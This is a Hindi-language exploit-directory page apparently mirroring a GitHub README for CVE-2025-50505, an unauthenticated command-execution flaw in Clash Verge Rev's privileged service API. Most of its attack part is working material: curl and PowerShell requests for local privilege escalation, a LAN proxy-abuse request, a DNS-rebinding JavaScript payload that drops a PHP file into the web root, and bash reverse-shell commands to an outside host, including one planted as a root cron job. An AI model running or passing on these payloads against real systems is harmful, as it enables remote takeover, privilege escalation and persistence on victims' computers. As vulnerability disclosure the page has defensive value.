Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-50505 — CVE-2025-50505 के लिए एक्सप्लॉइट, Clash Verge Rev में, जो अनधिकृत API के माध्यम से स्थानीय विशेषाधिकार वृद्धि और रिमोट कोड निष्पादन को प्रदर्शित करता है, जिसमें DNS रिबाइंडिंग और रिवर्स शेल तकनीकें शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/a0yami/cve-2025-50505
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपार्श्व आंदोलनवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंटDNS विश्लेषण
207311 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
a0yami/cve-2025-50505

CVE-2025-50505

CVE-2025-50505 के लिए एक्सप्लॉइट, Clash Verge Rev में, जो अनधिकृत API के माध्यम से स्थानीय विशेषाधिकार वृद्धि और रिमोट कोड निष्पादन को प्रदर्शित करता है, जिसमें DNS रिबाइंडिंग और रिवर्स शेल तकनीकें शामिल हैं।

रिपॉजिटरी देखें

CVE-2025-50505

अनधिकृत API के कारण Clash Verge Rev में मनमाने कमांड निष्पादन तथा विशेषाधिकार वृद्धि

विवरण

यह दोष clash-verge-service घटक द्वारा उजागर एक अप्रमाणित API एंडपॉइंट से उत्पन्न होता है, जो डिफ़ॉल्ट रूप से उन्नत विशेषाधिकारों के साथ स्थापित होता है। यह त्रुटि हमलावरों को मनमाने कमांड निष्पादित करने की अनुमति देती है, जिससे दो मुख्य हमले परिदृश्य उत्पन्न होते हैं: होस्ट मशीन पर स्थानीय विशेषाधिकार वृद्धि (LPE) तथा विशिष्ट स्थितियों के तहत दूरस्थ कोड निष्पादन (RCE)।

RCE वेक्टर का शोषण उसी स्थानीय क्षेत्र नेटवर्क (LAN) पर स्थित हमलावरों द्वारा किया जा सकता है यदि उपयोगकर्ता ने LAN कनेक्शन सक्षम किया हो। अधिक गंभीर रूप से, DNS रीबाइंडिंग हमले के साथ इस दोष को जोड़कर सार्वजनिक इंटरनेट से इसका शोषण किया जा सकता है, जिससे हमलावर ब्राउज़र सुरक्षा नीतियों को दरकिनार कर पीड़ित की मशीन पर केवल एक दुर्भावनापूर्ण वेबसाइट पर जाने से कमांड निष्पादित कर सकते हैं।

इस दोष की प्रारंभिक सार्वजनिक चेतावनी @KawaiiZapic द्वारा X पर प्रदान की गई थी।

  • प्रभावित सॉफ्टवेयर: Clash Verge Rev <= v2.2.3
  • प्रभावित प्लेटफॉर्म: Windows, macOS, Linux
  • प्रभाव: स्थानीय विशेषाधिकार वृद्धि, दूरस्थ कोड निष्पादन

तकनीकी विवरण

clash-verge-service घटक उच्च विशेषाधिकारों (रूट या SYSTEM) के साथ चलता है और 127.0.0.1:33211 पर एक अप्रमाणित HTTP API उजागर करता है। यह दोष /start_clash एंडपॉइंट में स्थित है, जो Mihomo कोर प्रक्रिया के स्टार्टअप को नियंत्रित करने के लिए एक JSON पेलोड स्वीकार करता है।

सेवा इस पेलोड के कई मापदंडों के आधार पर एक कमांड बनाती और निष्पादित करती है, जो निम्नलिखित संरचना के समान होती है:

root@kitploit:~
<bin_path> -d <config_dir> -f <config_file> >> <log_file>

महत्वपूर्ण रूप से, सभी चार मापदंड—bin_path, config_dir, config_file, और log_file—हमलावर द्वारा पूरी तरह से नियंत्रणीय हैं। हालांकि Rust क्लासिक कमांड इंजेक्शन (जैसे, कमांड को जोड़ने के लिए ; या | का उपयोग) के विरुद्ध अंतर्निहित सुरक्षा प्रदान करता है, हमलावर का संपूर्ण कमांड संरचना पर नियंत्रण दो-चरणीय हमले को मनमाना कोड निष्पादन प्राप्त करने में सक्षम बनाता है।

कमजोर कोड स्थान

  1. सेवा प्रक्रिया Warp फ्रेमवर्क के माध्यम से 127.0.0.1:33211 पर सुनती है, और /start_clash इंटरफेस के लिए कोई प्रमाणीकरण लागू नहीं किया गया है

clash-verge-service/src/service/mod.rs

root@kitploit:~
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
    .and(warp::path("start_clash"))
    .and(warp::body::json())
    .map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
    api_get_version
        .or(api_start_clash)
        .or(api_stop_clash)
        .or(api_stop_service)
        .or(api_get_clash)
        .or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
  1. start_clash() start_mihomo() को कॉल करता है और start_mihomo() फंक्शन process::spawn_process(bin_path, &args, log) को कॉल करता है जिसमें bin_path पास किया जाता है। spawn_process() कमांड को निष्पादित करने के लिए std::Command::new(command) को कॉल करता है

clash-verge-service/src/service/core.rs

root@kitploit:~
let pid = process::spawn_process(bin_path, &args, log)?;

clash-verge-service/src/service/process.rs

root@kitploit:~
let child = Command::new(command)
    .args(args)
    .stdout(log)
    .stderr(Stdio::null())
    .spawn()?;

शोषण वेक्टर 1: स्थानीय विशेषाधिकार वृद्धि (LPE)

Linux

  1. एक दुर्भावनापूर्ण स्क्रिप्ट बनाएं: (सामान्य उपयोगकर्ता)
root@kitploit:~
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn  
chmod +x /home/user/pwn 
  1. एक अप्रमाणित अनुरोध भेजें:
root@kitploit:~
curl -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
       "bin_path":"/home/user/pwn",
       "config_dir":"/tmp",
       "config_file":"/dev/null",
       "log_file":"/tmp/x"
     }'

  1. विशेषाधिकार वृद्धि सत्यापित करें:
root@kitploit:~
sudo cat /root/pwned

Windows

pwn.bat:

root@kitploit:~
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt

test.ps1:

root@kitploit:~
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
    bin_path    = "C:\Users\xxx\Desktop\pwn.bat"
    config_dir  = "C:\Windows\Temp"
    config_file = "NUL"
    log_file    = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json

Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

शोषण वेक्टर 2: दूरस्थ कोड निष्पादन (RCE)

इस दोष को दो परिदृश्यों में RCE तक बढ़ाया जा सकता है।

परिदृश्य A: प्रॉक्सी दुरुपयोग के माध्यम से LAN से RCE

यदि कोई उपयोगकर्ता Clash Verge Rev क्लाइंट में "Allow LAN"(局域网连接) विकल्प सक्षम करता है, तो एप्लिकेशन का प्रॉक्सी सर्वर उसी स्थानीय नेटवर्क पर सभी उपकरणों के लिए सुलभ हो जाता है। उसी LAN पर एक हमलावर अपने दुर्भावनापूर्ण अनुरोध को पीड़ित के उजागर प्रॉक्सी के माध्यम से निर्देशित करके इसका शोषण कर सकता है।

root@kitploit:~
curl --proxy http://192.168.108.129:7897 \
     -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
         "bin_path":"/path/to/malicious/script",
         "config_dir":"/tmp",
         "config_file":"/dev/null",
         "log_file":"/tmp/x"
     }'

परिदृश्य B: DNS रीबाइंडिंग के माध्यम से सार्वजनिक इंटरनेट से RCE

LAN पहुंच की आवश्यकता के बिना इंटरनेट से एक अधिक उन्नत हमला किया जा सकता है। हमले की श्रृंखला DNS रीबाइंडिंग को एक विशिष्ट ब्राउज़र व्यवहार के साथ जोड़ती है जिसे "0.0.0.0-day" शोषण के रूप में जाना जाता है।

इस हमले की कुंजी यह है कि Firefox और क्रोमियम के कुछ संस्करण IP पते 0.0.0.0 को 127.0.0.1 के उपनाम के रूप में मानते हैं। यह हमलावर को समान-मूल नीति (SOP) और निजी नेटवर्क एक्सेस (PNA) जैसी आधुनिक ब्राउज़र सुरक्षा सुविधाओं को दरकिनार करने की अनुमति देता है।

हमले का प्रवाह इस प्रकार है:

  1. पीड़ित हमलावर-नियंत्रित डोमेन (जैसे, attacker.com) पर होस्ट की गई एक दुर्भावनापूर्ण वेबसाइट पर जाता है।
  2. हमलावर का DNS सर्वर पहले attacker.com को उसके वास्तविक सार्वजनिक IP पते पर हल करता है। दुर्भावनापूर्ण पेज पीड़ित के ब्राउज़र में लोड होता है।
  3. पेज पर जावास्क्रिप्ट आगे के अनुरोध करती है। पृष्ठभूमि में, हमलावर का DNS सर्वर बहुत कम TTL के साथ attacker.com के लिए IP को 0.0.0.0 में बदल देता है।
  4. जब ब्राउज़र का DNS कैश समाप्त हो जाता है, तो यह attacker.com को फिर से हल करता है और अब 0.0.0.0 प्राप्त करता है।
  5. ब्राउज़र-विशिष्ट व्यवहार के कारण, अनुरोध अवरुद्ध नहीं होता बल्कि सीधे पीड़ित की मशीन पर 127.0.0.1 पर भेज दिया जाता है।

चूंकि अनुरोध का मूल अभी भी attacker.com है, स्क्रिप्ट सफलतापूर्वक सुरक्षा प्रतिबंधों को दरकिनार करती है और 127.0.0.1:33211 पर कमजोर clash-verge-service API के साथ सीधे संवाद करती है, जिससे दूरस्थ कोड निष्पादन प्राप्त होता है।

प्रूफ ऑफ कॉन्सेप्ट (सिंगुलैरिटी के साथ DNS रीबाइंडिंग)

  1. singarity स्थापित करें
  2. पेलोड का उपयोग करें:
root@kitploit:~
/**
 * Clash-Verge-Rev payload
 */
const ClashVergeTrueLog = () => {

  const BODY = `{
    "bin_path": "/bin/true",
    "config_dir": "<?php phpinfo();?>",
    "config_file": "/dev/null",
    "log_file": "/var/www/html/exp.php"
  }`;

  function attack() {
    fetch("/start_clash", {
      method: "POST",
      headers: { 'Content-Type': 'application/json' },
      body:   BODY
    }).then(() => console.log("[Clash-True] sent"));
  }

  async function isService(headers,cookie,body){
    try {
      const r = await fetch("/version", {method:"GET"});
      const t = await r.text();
      return t.includes("Clash");
    } catch { return false; }
  }

  return {attack, isService};
};

Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();

PHP प्रोब को किसी भी स्क्रिप्टिंग भाषा से बदलें जो सीमा चिह्नों का समर्थन करती है। यदि आप रूट शेल प्राप्त करना चाहते हैं, तो अगले अनुभाग को देखें और पेलोड को संशोधित करें।

  1. singularity-server प्रारंभ करें और अटैक पैनल कॉन्फ़िगर करें
  • ./singularity-server --HTTPServerPort 33211
  • Target Host: 0.0.0.0
  • Rebinding Strategy: First then second
  • Attack Method: Inline Frame

https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

438500801-c4f8865c-8a37-4763-873f-b7d6057ac9e1

नोट

नोट: Content-Type को application/json में कस्टमाइज़ करते समय, no-cors सेट न करें। First then second एक धीमी लेकिन अधिक स्थिर DNS रीबाइंडिंग मोड है। आप multiple answers भी चुन सकते हैं, लेकिन यह कुछ सार्वजनिक DNS सर्वरों द्वारा कम किया जा सकता है, जिससे हमला विफल हो सकता है।

रिवर्स शेल (LAN)

MacOS और कुछ Linux सिस्टम (जैसे Kali) में zsh स्थापित है, जो -d और -f के साथ स्क्रिप्ट निष्पादित करने की अनुमति देता है।

root@kitploit:~
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

# या क्रॉन जॉब सेट करें
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H 'Content-Type: application/json' \
  -d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'

चर्चा

  1. Windows पर Rust के पुराने संस्करणों में एक कमांड इंजेक्शन दोष, CVE-2024-24576, मौजूद है। परिणामस्वरूप, कमजोर Rust टूलचेन से संकलित Clash Verge Rev के पुराने बिल्ड अधिक प्रत्यक्ष और सीधे रिवर्स शेल शोषण के प्रति संवेदनशील हो सकते हैं। इस विशिष्ट Rust भेद्यता से परे, मनमाने प्रक्रिया निष्पादन की मूल समस्या को रिवर्स शेल प्राप्त करने के लिए विभिन्न LOLBAS के साथ भी जोड़ा जा सकता है।
  2. लॉग फ्लश होने के बाद, कमांड का आउटपुट "Spawning process..." पंक्ति के बाद जोड़ दिया जाता है। bin_path को सीधे स्क्रिप्ट (जैसे, evil.sh) पर सेट करना विफल हो जाएगा। ऐसा इसलिए है क्योंकि शेबंग (#!/bin/bash) के बिना, अंतर्निहित OS यह निर्धारित नहीं कर सकता कि किस इंटरप्रेटर का उपयोग करना है। bash evil.sh के माध्यम से इसे स्पष्ट रूप से कॉल करने का प्रयास भी विफल हो जाएगा, क्योंकि सेवा द्वारा पारित -d तर्क को bash स्वयं एक अमान्य विकल्प के रूप में गलत समझेगा।
root@kitploit:~
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
    log.flush()?;

let child = Command::new(command)
    .args(args)
    .stdout(Stdio::from(log))
    .stderr(Stdio::null())
    .spawn()?;

इन शर्तों के तहत कमांड को सफलतापूर्वक निष्पादित करने के लिए zsh का उपयोग किया जा सकता है, यह सुझाव देने के लिए @Esonhugh का धन्यवाद।

संदर्भ

  • DNS Rebinding in Browser
  • https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
  • https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps

समाधान

नवीनतम संस्करण में अपडेट करें।

टूल डाउनलोड करें